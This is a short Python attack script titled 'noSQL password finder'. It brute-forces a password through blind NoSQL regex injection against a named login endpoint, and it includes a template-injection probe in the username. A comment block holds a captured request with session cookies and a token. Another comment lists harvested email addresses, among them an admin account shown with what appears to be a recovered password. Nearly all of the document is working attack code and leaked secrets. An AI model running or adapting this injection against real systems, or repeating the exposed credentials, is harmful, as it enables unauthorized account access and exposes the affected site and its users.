noSQL password finder

#!/usr/bin/env python
import requests
import string

"""
POST /login HTTP/1.1

Host: mshcsvl1y3k4eia4n3o1hk0l41h.com:2053

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:73.0) Gecko/20100101 Firefox/73.0


Referer: https://mshcsvl1y3k4eia4n3o1hk0l41h.com:2053/login.html
Cookie: __cfduid=d4d6ac2753086f764e2ae85cdadb05f2f1587263049; PHPSESSID=3459c4d41ff809667a1b7a043547470a; token=12dea96fec20593566ab75692c9949596833adc9
{"email":{ "$ne": "1"},"password":{"$regex": ""}}
"""

"""
>Bilgileriniz => E-Posta:
admin@cyber-warrior.org => Sifre: cNLP2HMgIPveZivqPcWS0ioKu0jjqwa3,
admin@cyber-warrior.org,
{{7*7}}@gmail.com,
info@support.asdsa,
infox@support.asds
"""


def post_that_shit(last):
    URL =  "https://mshcsvl1y3k4eia4n3o1hk0l41h.com:2053/login"
    headers = {'Content-type': 'application/json', 'Accept': 'text/plain'}
    COOKIES = {}
    USERNAME = "{{7*7}}@gmail.com"
    pre_req = requests.get(URL + ".html")
    COOKIES = pre_req.cookies
    alph = string.ascii_lowercase + string.ascii_uppercase + string.digits
    temp_string = ""
    payload = ""
    ERR_STR = "Hatas"
    print("Hi!")
    if last is not None:
        payload = last
    for stonk in alph:
        post_data = {"email": USERNAME ,"password":{"$regex": "^" + payload + stonk}}
        print("Trying ma best. -> " + payload + stonk)
        req = requests.post(URL,cookies=COOKIES, json=post_data, headers=headers)
        if ERR_STR not in req.text:
            if last is None:
                last = ""
            print("Last Payload is --> " + last + stonk)
            return payload + stonk
    return last

if __name__ == "__main__":
    a = None
    resp = None
    while True:
        resp = post_that_shit(a)
        if resp  == a:
            print("Finished --> here is your passwd == " + resp)
            break
        a = resp